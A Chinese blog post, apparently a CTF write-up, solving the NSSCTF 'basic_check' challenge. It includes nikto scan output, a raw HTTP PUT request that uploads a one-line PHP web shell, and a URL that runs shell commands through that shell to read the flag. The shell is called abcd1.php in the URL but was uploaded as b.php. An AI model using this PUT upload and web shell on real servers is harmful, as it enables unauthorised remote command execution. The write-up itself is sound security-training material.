Web刷题篇-3 [NSSRound#1 Basic]basic_check

    打开可以看到如下界面:

图片     使用nikto扫描:

MacBook-Pro ~ % nikto -h http://node4.anna.nssctf.cn:20853/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          1.14.71.254
+ Target Hostname:    node4.anna.nssctf.cn
+ Target Port:        20853
+ Start Time:         2026-06-11 14:31:28 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: Retrieved x-powered-by header: PHP/7.2.34.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least 2.4.57). Apache 2.2.34 is the EOL for the 2.x branch.
+ /nikto-test-K94VvPZw.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /?-s: PHP allows retrieval of the source code via the -s parameter, and may allow command execution. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823
+ 8131 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2026-06-11 14:40:14 (GMT8) (526 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

     可以看到PUT method allows clients to save files,发现关键漏洞:PUT方法文件上传!

     【解题步骤】

          步骤1:上传PHP一句话木马

          Burp Suite抓包:

316d3b50-5764-48ce-92cf-371a2f5fe725

b8d9aaa0-82d8-4fcc-9c2c-fd5a452188d9

          使用PUT方法上传恶意PHP文件:

26645b58-7148-43a1-9789-3072cf597dfc

 

2cc31cd7-39f7-4e9a-ba41-e20d099ea342

           创建成功。

PUT /b.php HTTP/1.1
Host: node4.anna.nssctf.cn:20853
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?
system($_GET['cmd']);
?>

          步骤2:验证并执行命令
          现在可以通过上传的PHP文件执行系统命令了:

http://node4.anna.nssctf.cn:20853/abcd1.php?cmd=cat /f*

          最后得到flag:

881c60fd-bd7e-41ae-81af-5f31fb54a529

 

posted @ 2026-06-11 15:53  不爱学习的Shirley  阅读(12)  评论(0)    收藏  举报